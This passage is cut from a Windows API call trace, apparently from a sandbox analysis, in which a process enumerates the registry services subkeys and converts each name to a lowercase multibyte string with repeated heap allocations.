lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.042] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.042] RegCloseKey (hKey=0x150) returned 0x0 [0260.042] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.043] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1ad8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.043] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f16e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.043] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1ad8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.043] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f16e8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.044] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1ad8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.044] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.044] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0260.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.045] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.045] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.045] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f16e8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.045] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0260.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.046] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.046] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.046] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.046] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0260.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.047] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.047] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.047] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0260.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.048] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", 